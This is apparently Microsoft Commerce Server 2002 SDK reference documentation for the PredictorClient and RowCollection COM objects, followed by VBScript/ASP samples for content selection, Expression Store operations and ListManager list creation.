Use the Recommendation Score to test and adjust the input parameters for a prediction model. Known cases, taken from the input cases used to build the model, are tested against the prediction model with one of the transactions randomly removed. A list of recommendations is returned, and the prediction is deemed successful if the removed transaction is on the list. The score is the percentage of cases in which the model was successful.

The Recommendation Score is automatically computed when a model is built, using a fraction of the data as test data. The amount of data to set aside for testing purposes is specified as the Measured Accuracy Sample Fraction. For more information, see Building a New Analysis Model and PredictorModels Table.

Load the prediction model using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::Predict

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.Predict


IPredictorClient::get_sSiteName, put_sSiteName Property [C++]

PredictorClient.sSiteName Property [Visual Basic]

The sSiteName property is a read/write property that contains the name of the site in which the PredictorClient object is running.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_sSiteName(
  BSTR* psSiteName
);

Put method:

HRESULT IPredictorClient::put_ sSiteName(
  BSTR psSiteName
);
[Visual Basic]
Property sSiteName As String

Parameters

psSiteName [C++]
[in] When putting the property, a BSTR that contains the name of the site where the PredictorClient object will run.
[out, retval] When getting the property, a pointer to a BSTR used to return the name of the site in which the PredictorClient object is running.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property should be set in the On_Start method of the global.asa file to allow logging of performance monitoring counters to be aggregated over the site. Performance counters are specific to a given computer. If multiple sites are running on the same Web server, the counters give a combined total for all sites. Specifying a site name allows the counts from one site to be distinguished from the counts of other sites.

The following counters are available:

  • Total number of predictions made since the site was initialized.
  • Average time per prediction.
  • Total number of model loads from files.
  • Total number of model loads from a database.

The counters can be accessed in Microsoft Windows 2000 by clicking Control Panel, double-clicking Administrative Tools, and then double-clicking Performance. The counters can also be accessed programmatically through the performance APIs described in the Windows 2000 Platform SDK.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The psSiteName parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::Predict

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.Predict


RowCollection Object [C++]

RowCollection Object [Visual Basic]

Use this object to access data contained in a ContentList object and its corresponding ContentListFactory object. Some RowCollection objects allow access to all of the rows in these objects. Other RowCollection objects allow access to a calculated subset of the rows in these objects.

ProgID: | Dependent (See the Remarks section for more information)
COM Class Name: | RowCollection
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IRowCollection
Interface ID Constant: | IID_IRowCollection
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IRowCollection interface to access to the methods and properties of a RowCollection object.

Methods

[C++]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.
[Visual Basic]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.

Properties

[C++]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.
[Visual Basic]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.

Remarks

[C++]

The RowCollection object is a dependent object. Obtain a pointer to the IRowCollection interface by calling one of the following methods:

  • IContentList::get_ActiveRows
  • IContentList::get_AllRows
  • IContentList::Search
  • IContentListFactory::get_AllRows
  • IContentListFactory::Search
[Visual Basic]

The RowCollection object is a dependent object. Obtain a reference to it using the following properties and methods:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search


IRowCollection Methods [C++]

RowCollection Methods [Visual Basic]

Methods

[C++]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.
[Visual Basic]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.


IRowCollection::MoveFirst Method [C++]

RowCollection.MoveFirst Method [Visual Basic]

Use this method to set the current row to be the first row in a RowCollection object.

Definition

[C++]
HRESULT IRowCollection::MoveFirst(
);
[Visual Basic]
Sub MoveFirst()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveFirst

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::MoveNext Method [C++]

RowCollection.MoveNext Method [Visual Basic]

Use this method to set the current row to be the row that is one row beyond the current row. In other words, the next row in the collection.

Definition

[C++]
HRESULT IRowCollection::MoveNext(
);
[Visual Basic]
Sub MoveNext()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveNext

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection Properties [C++]

RowCollection Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.
[Visual Basic]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.


IRowCollection::get__NewEnum Property [C++]

RowCollection._NewEnum Property [Visual Basic]

The read-only _NewEnum property provides a mechanism for enumerating through the rows in a RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. Each row in the collection is a Fields collection object that can be used to access the individual fields in the row.

Definition

[C++]
Get method:
HRESULT IRowCollection::get__NewEnum(
 IUnknown** _NewEnum
);
[Visual Basic]
Property _NewEnum() As IUnknown

Parameters

_NewEnum [C++]
[out,retval] When getting the property, an IUnknown interface pointer used to return a pointer to an IEnumVARIANT interface, which manages the iteration of the rows in the collection.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property exists so that the "for each Row in Collection" syntax in Microsoft Visual Basic can be used to iterate through the rows in a RowCollection object. This property is not accessed directly.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_Count Property [C++]

RowCollection.Count Property [Visual Basic]

The Count property is a read-only Long that contains the number of rows in the collection.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_Count(
 long* Count
);
[Visual Basic]
Property Count As Long

Parameters

Count [C++]
[out,retval] A long that contains the number of rows in the RowCollection object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_EOF Property [C++]

RowCollection.EOF Property [Visual Basic]

The EOF property is a read-only Boolean that returns True when the end of the collection has been reached.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_EOF(
 VARIANT_BOOL* EOF
);
[Visual Basic]
Property EOF() As Boolean

Parameters

EOF [C++]
[out,retval] A pointer to a VARIANT_BOOL used to return an indication of whether row iteration is complete.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_Fields Property [C++]

RowCollection.Fields Property [Visual Basic]

The Fields property is a read-only Fields collection object that contains the Field objects for the current row.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_Fields(
 Fields** Fields
);
[Visual Basic]
Property Fields() As Fields

Parameters

Fields [C++]
[out,retval]A pointer to an ActiveX Data Objects (ADO) Fields object used to return the fields of the current row.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object associated with this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_RowNum Property [C++]

RowCollection.RowNum Property [Visual Basic]

The RowNum property is a read-only number that contains the position of the current row within the RowCollection object. Row positions begin at zero (0), not one (1).

Definition

[C++]
Get method:
HRESULT IRowCollection::get_RowNum(
 long* RowNum
);
[Visual Basic]
Property RowNum() As Long

Parameters

RowNum [C++]
[out,retval] A long used to return the position of the current row in the RowCollection object. Row positions begin at zero (0), not one (1).

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The value of this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


Example Code Targeting Objects

This section provides detailed examples of how to use the targeting object.

Examples

Example | Description
Code to Support the ContentSelector Object | Contains code to include in the Global.asa file to support the ContentSelection object.
Code to Execute the ContentSelector Object | Contains code to include in the Default.asp file that you use to create the ContentSelection object, code that you use with the GetContent method, and code you use to write ads to the Web page.
Code to Connect to the Expression Store | Describes how to connect to, and disconnect from, the Expression Store.
Code to Create an Evaluation Context | Describes how to create an evaluation context that contains the data for evaluating an expression against.
Code to Evaluate an Expression Stored as an XML Fragment | Describes how to evaluate an expression stored as an XML fragment.
Code to Create a New Expression | Describes how to create a new expression.
Code to Manipulate Expressions | Describes how to retrieve or delete expressions from the Expression Store, rename an expression, or translate between expression IDs and expression names.
Code to Evaluate a Single Expression | Describes how to evaluate a single expression.
Code to Evaluate Groups of Expressions | Describes how to create a stored evaluation context and evaluate groups of expressions against this common context.
Code to Import and Export Expressions | Describes how to import and export expressions.
Code to Initialize the ListManager Object | Describes how to create and initialize the ListManager object.
Code to Create a List | Describes how to create a list from a file.
Code to Manipulate Lists | Describes the operations performed on lists such has copy, subtract, union, and export, and the procedure to add and subtract a user from a list.
Code to Enumerate Available Lists | Describes how to retrieve and enumerate the available lists and set list properties, such as the list name and description.


Code to Support the ContentSelector Object

The following code shows how to initialize the Content Selection Framework (CSF), set up the CacheManager object and the Expression Evaluator, create an advertising pipeline, and configure the context for CSF ads.

The Global.asa file should include the following code:

<SCRIPT LANGUAGE=VBSCRIPT RUNAT=Server>

option explicit

' Initialize the Content Selection Framework.
Sub Application_OnStart

    ' Modify sConnStr to point to a valid Campaigns database.
    ' The Campaigns database can be created either by unpacking a site,
    ' such as blank.pup, or by running the campaign database creation
    ' scripts in the C:/Program Files/Microsoft Commerce Server/Site
    ' Create directory.
    const sConnStr = "provider=SQLOLEDB;Data Source=(local);Initial
    Catalog=Retail_commerce;Integrated Security='SSPI';"

    Dim oPipe, dCSFAdsContext
    Dim oExpressionEval, oCacheManager, dCacheConfig

    ' Set up CacheManager object.
    Set dCacheConfig = CreateObject("Commerce.Dictionary")
    dCacheConfig.ConnectionString = sConnStr
    Set oCacheManager = CreateObject("Commerce.CacheManager")
    oCacheManager.LoaderProgId("Ads") = "Commerce.CSFLoadAdvertisements"
    Set oCacheManager.LoaderConfig("Ads") = dCacheConfig
    oCacheManager.RefreshInterval("Ads") = 15 * 60 ' 15 minutes

    ' Create the Expression Evaluator and connect it to the database.
    Set oExpressionEval = CreateObject("Commerce.ExpressionEvaluator")
    Call oExpressionEval.Connect(sConnStr)

    ' Create CSF advertising context, a dictionary.
    Set dCSFAdsContext = CreateObject("Commerce.Dictionary")

    ' Create an advertising pipeline and add it to the context.
    Set oPipe = CreateObject("Commerce.OrderPipeline")
    ' Load the pipeline configuration
    oPipe.LoadPipe(Server.MapPath("Advertising.pcf"))
    ' Store a reference to the pipeline object in the Context
    ' dictionary.
    Set dCSFAdsContext("pipeline") = oPipe

    ' Other context configuration for CSF ads.
    dCSFAdsContext("RedirectUrl") = ".\redir.asp"
    ' Add a reference to an expression evaluator to the Context
    Set dCSFAdsContext("Evaluator") = oExpressionEval
    ' InitCacheManager, a routine that would appear elsewhere in the
    ' global.asa, returns a reference to a CacheManager object.
    Set dCSFAdsContext("CacheManager") = oCacheManager
    dCSFAdsContext("CacheName") = "Ads"

    ' Store a reference to the dCSFAdsContext dictionary in the
    ' Application collection.
    Set Application("CSFAdsContext") = dCSFAdsContext
End Sub

</SCRIPT>


Code to Execute the ContentSelector Object

The following code shows how ContentSelector objects are typically created, used to select the content through the GetContent method, and write that content to the Web page.

The following code should be included in a subroutine of an include file. For an example of how the ContentSelector object is used in the Solution Sites, see the files banner.inc and discount.asp located at <drive>:\Inetpub\wwwroot\<Solution Site name>\template\.

<%
    ' Create a ContentSelector object.
    Set CSO = Server.CreateObject("Commerce.ContentSelector")

    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa file and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
%>

Other, optional properties may be set on the ContentSelector object as well. These properties depend on the components in the selection pipeline and their configuration. The most common optional properties include UserProfile, NumRequested, PageGroup, and Size.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Code to Connect to the Expression Store

A connection to the Expression Store can be made either directly through the Connect method of an ExpressionStore object or indirectly through the Connect method of an ExpressionEval object. The determining factor will be which operations need to be performed. Use an ExpressionStore object if expressions are to be created or manipulated. If evaluating existing expressions, use an ExpressionEval object. When connecting through an ExpressionStore object, use the Disconnect method to release the connection to the Expression Store. The ExpressionEval object automatically releases the connection to the Expression Store upon termination.

Connecting Using an ExpressionStore Object

Connecting Using an ExpressionEval Object

Connecting Using an ExpressionStore Object

  1. Retrieve the connection string to the Expression Store using a SiteConfigReadOnly object. Initialize the SiteConfigReadOnly object for the "Retail" site. This step should be performed in the Global.asa file and the resulting connection string cached in the Application collection or in a global dictionary for use in Active Server Pages (ASP).
    Dim sConn
Dim oSiteConfigReadOnly

Set oSiteConfigReadOnly = Server.CreateObject("Commerce.SiteConfigReadOnly")

oSiteConfigReadOnly.Initialize "Retail"

sConn = oSiteConfigReadOnly.Fields("Biz Data Service")_
.Value.Fields("s_BizDataStoreConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  2. Create the ExpressionStore object and store the connection string to the Expression Store.
    Dim oExpressionStore
Set oExpressionStore = Server.CreateObject("Commerce.ExpressionStore")

oExpressionStore.Connect sConn

Connecting Using an ExpressionEval Object

Connection through the use of an ExpressionEval object can be made by passing a reference to an existing ExpressionStore object or by passing an explicit connection string, in which case a new ExpressionStore object will be created.

  1. Create the ExpressionEval object. Note that the ProgID, ExpressionEvaluator, is different than the object name.
    Dim oExpressionEval
Set oExpressionEval = Server.CreateObject("Commerce.ExpressionEvaluator")
  2. Connect to the Expression Store.
    • Connect using the previous ExpressionStore object, oExpressionStore.
      oExpressionEval.Connect oExpressionStore

    • Connect using the previously obtained connection string, sConn.

      oExpressionEval.Connect sConn

      •

    3.


Code to Create an Evaluation Context

This section describes how to create an evaluation context (a Dictionary object) that contains the data for evaluating an expression against.

  1. Retrieve the two profiles, oUser1, a UserObject object, and oAddress1, an Address object, created in Code to Create a New Profile. For more information about retrieving the profiles, see Code to Retrieve a Profile.
  2. The properties of these profiles that are evaluated in the following sections are:
    oUser1.GeneralInfo.first_name = "Joe"
oAddress1.GeneralInfo.region_code = "WA"
  3. Create a Dictionary object and insert the two profiles.
    Dim dictProfiles
Set dictProfiles = Server.CreateObject("Commerce.Dictionary")

Set dictProfiles.User = oUser1
Set dictProfiles.Address = oAddress1


Code to Evaluate an Expression Stored as an XML Fragment

This section describes how to parse and evaluate an expression stored as an Extensible Markup Langauge (XML) fragment. An XML fragment is equivalent to the ExprBody field of the expression Recordset object. The XML fragment is first parsed for syntactic correctness. This is only performed at design-time since the EvalXML method also parses the fragment. If the expression parses correctly, it is then evaluated.

  1. Create an XML expression fragment. This expression will return True when evaluated against a context containing a UserObject object and an Address object, where the first_name property of the UserObject object = "Joe" AND the region_code of the Address object = "WA". In this example, the string representing the expression is not formatted properly for scripting with respect to quotation marks and continuation in order to increase readability.
    Dim strXMLExpression

sXMLExpression =
 "<TERM TYPE="and">
    <CLAUSE OPER="equal">
       <PROPERTY ID="UserObject.GeneralInfo.first_name" TYPE="string" />
       <IMMED-VAL TYPE="string">Joe</IMMED-VAL>
    </CLAUSE>
    <CLAUSE OPER="equal">
       <PROPERTY ID="Address.GeneralInfo.region_code" TYPE="string" />
       <IMMED-VAL TYPE="string">WA</IMMED-VAL>
    </CLAUSE>
  </TERM>"

  2. Create an ExpressionEval object and parse the string to determine if it represents a syntactically valid XML expression.
    Dim bResult
Dim oExpressionEval
Set oExpressionEval = CreateObject("Commerce.ExpressionEvaluator")

bResult = oExpressionEval.ParseXML(sXMLExpression)
The result, bResult, equals True since this fragment is syntactically valid.
  1. Evaluate the XML fragment against the data contained in the dictProfiles context created in Code to Create an Evaluation Context. The properties of interest in the dictProfiles context are:
    User.GeneralInfo.first_name = "Joe"
Address.GeneralInfo.region_code = "WA"

Dim vResult
vResult = oExpressionEval.EvalXML(sXMLExpression, dictProfiles)

Set oExpressionEval = Nothing
The result of evaluating the expression, vResult, is True.


Code to Create a New Expression

This section describes how to create a new expression.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, create an empty recordset to contain the new expression.
    Dim rsExpr
Set rsExpr = oExpressionStore.NewExpression()
  2. The returned recordset is an ADO hierarchical Recordset object. It contains one parent and two child Recordset objects, one child for profile dependencies and one child for expression dependencies. Populate the fields in the parent recordset. The string, sXMLExpression, used for the ExprBody field, is defined in Code to Evaluate an Expression Stored as an XML Fragment. No error checking is performed on the syntax of this string when the Recordset object is saved. Use the ParseXML method to verify the correct syntax before saving the recordset. If the expression is meant to appear as a target or catalog expression in the Campaign Expressions module in Commerce Server Business Desk, the Category field must be set to "CAMPAIGNS" or "CATALOG", respectively.
    rsExpr.Fields("ExprName").Value = "Expr_WA_Joe"
rsExpr.Fields("ExprBody").Value = sXMLExpression
rsExpr.Fields("Category").Value = "WA Users"
rsExpr.Fields("ExprDesc").Value = "Is the user from WA and named Joe?"
  3. Add and populate a new record in the profile dependencies child recordset for each profile the new expression depends on. At least one profile dependency is required to evaluate the expression against.
    Dim rsDeps
Set rsDeps = rsExpr.Fields("rsProfDeps").Value

rsDeps.AddNew
rsDeps.Fields("ProfDep").Value = "User"
rsDeps.AddNew
rsDeps.Fields("ProfDep").Value = "Address"
  4. Add and populate a new record in the expression dependencies child recordset for each expression the new expression depends on. An expression does not have to depend on other expressions; thus, this step is optional.
    Set rsDeps = rsExpr.Fields("rsExprDeps").Value

rsDeps.AddNew
rsDeps.Fields("ExprDep").Value = 123
  5. Save the expression in the Expression Store and release the Recordset objects.
    oExpressionStore.SaveExpression(rsExpr)

Set rsDeps = Nothing
Set rsExpr = Nothing


Code to Manipulate Expressions

When a new expression is saved to the Expression Store, a unique expression ID is created which is used to further access the expression. This section describes how to retrieve the expression ID using the name of the expression. Once the expression ID is retrieved, the expression is renamed, which is the only operation on the expression that is supported through the API. To further manipulate the expression, the corresponding recordset is retrieved and the description of the expression is changed. Finally, the expression is deleted from the Expression Store.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, translate the name of the expression, "Expr_WA_Joe", created in Code to Create a New Expression into its expression ID.
    Dim lExpressionID
lExpressionID = oExpressionStore.GetExprID("Expr_WA_Joe")
  2. Rename the expression to "Expr_2001.93".
    oExpressionStore.RenameExpression lExpressionID, "Expr_2001.93"
  3. Retrieve the recordset corresponding to the expression.
    Dim rsExpression
Set rsExpression = oExpressionStore.GetExpression(lExpressionID)
  4. Change the description of the expression.
    rsExpression.Fields("ExprDesc").Value = _
 "Is the user named Joe and from WA?"
  5. When finished using the expression, delete it. If the expression has a non-zero reference count (one or more other expressions depend on this expression), the method will fail and the expression will not be deleted.
    oExpressionStore.DeleteExpression lExpressionID, 0

Set rsExpression = Nothing


Code to Evaluate a Single Expression

A single expression may be evaluated either directly against a Dictionary object containing a set of profiles or indirectly against a stored evaluation context. For information about evaluating the expression against a stored context, see Code to Evaluate Groups of Expressions.

  1. Using the ExpressionEval object, oExpressionEval, created in Code to Connect to the Expression Store, load the expression created in Code to Create a New Expression into the Expression Cache. The expression ID, lExpressionID, for this expression was retrieved in Code to Manipulate Expressions. Loading the expression is optional. If you have not preloaded the expression, the Eval method will load the expression upon execution.
    oExpressionEval.LoadExpr lExpressionID
  2. Evaluate the expression against the data contained in the dictProfiles context created in Code to Create an Evaluation Context.
    Dim vResult
vResult = oExpressionEval.Eval(lExpressionID, dictProfiles)
The result of evaluating the expression, vResult, is True.


Code to Evaluate Groups of Expressions

If a group of expressions is to be evaluated against the same context, it is more efficient to create a stored evaluation context rather than iterating the expressions through the Eval method, which creates and destroys an evaluation context for each expression evaluated.

  1. Using the ExpressionEval object, oExpressionEval, created in Code to Connect to the Expression Store, create a stored evaluation context using the dictProfiles context created in Code to Create an Evaluation Context.
    Dim oEvaluationContext
Set oEvaluationContext = _
 oExpressionEval.CreateEvalContext(dictProfiles)
  2. Load all the expressions in the Expression Store into the Expression Cache, including the expression created in Code to Create a New Expression. This step is optional. Any expressions not preloaded will be loaded by the EvalInContext method when those expressions are evaluated. If you do not want to load all the expressions, you can load individual expressions using the LoadExpr method.
    oExpressionEval.LoadAll
  3. The expression ID, lExpressionID, for the expression created in Code to Create a New Expression, was retrieved in Code to Manipulate Expressions. Evaluate this expression against the evaluation context.
    Dim vResult
vResult = oExpressionEval.EvalInContext(lExpressionID, _
 oEvaluationContext)
The result of evaluating the expression, vResult, is True.
  1. Evaluate any other expressions using the same stored context, and then release the context.
    Set oEvaluationContext = Nothing


Code to Import and Export Expressions

This section describes how to import and export groups of expressions. An import file must contain the XML expression recordset schema followed by the XML representation of each expression recordset to be imported. The format of the exported file is the same. For information about expression structures in XML, see Expression XML Structures.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, import the expressions from the file Expressions.xml into the Expression Store. If the Expression Store is not empty, the method will fail.
    oExpressionStore.Import "Expressions.xml"
  2. Export the expressions contained in the Expression Store to the file Exported_Expressions.xml.
    oExpressionStore.Export "Exported_Expressions.xml"


Code to Initialize the ListManager Object

  1. Create a ListManager object.
    Dim oListManager
Set oListManager = CreateObject("Commerce.ListManager")
  2. Initialize the object.
    oListManager.Initialize "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'"


Code to Create a List

Lists can be created from a text file, an SQL query, an analysis report, or a Predictor resource segment. This section describes how to create a list named 'Users1' from a file named Users.csv. Once the list is created, the number of unique users imported into the list is retrieved.

  1. Create the Users.csv text file. A representative section of the file follows that contains the e-mail addresses and IDs for a group of users.
    joeuser@roguecellars.com,Newuser_R121
barneyuser@fabrikam.com,Olduser_F3
bettyuser@arborshoes.com,Newuser_A872
jackuser@vigorairlines.com,Olduser_V83
jilluser@microsoft.com,Olduser_M2901
  2. Use the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, to create a Mailable User list (userFlags = 20) from the text file.
    Dim vListID1, vOperationID
vListID1 = oListManager.CreateFromFile("Users1", "Just users", _
 20, 0, "D:\Users.csv", 0, True, vOperationID)
  3. Set the maximum time allowed for the list to be created to 10 minutes (600 seconds). If the list is not created in this time, the method will return an error.
    oListManager.WaitOnOperation vOperationID, 600
  4. When the creation operation finishes, retrieve the number of unique e-mail addresses imported.
    Dim rsOperationInfo, vOperationStatus, vUniqueUsers
Set rsOperationInfo = oListManager.GetOperationInfo(vOperationID)
vOperationStatus = rsOperationInfo("op_status")
If vOperationStatus = 0 Then
   vUniqueUsers = oListManager.GetListProperty(vListID1, _
     "list_unique_emails")
   Wscript.Echo "Number of unique users is " & vUniqueUsers & vbCrLf
ElseIf vOperationStatus = 1 Then
   Wscript.Echo "List still being created" & vbCrLf
ElseIf vOperationStatus = -1 Then
   Wscript.Echo "List creation failed" & vbCrLf
Else
   Wscript.Echo "Bad status code" & vbCrLf
End If
  5. Release the objects.
    Set oListManager = Nothing
Set rsOperationInfo = Nothing


Code to Manipulate Lists

  1. Using the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, create a new empty list named 'Users2'.
    Dim vListID2
vListID2 = oListManager.CreateEmpty("Users2", "More users", 20, 0)
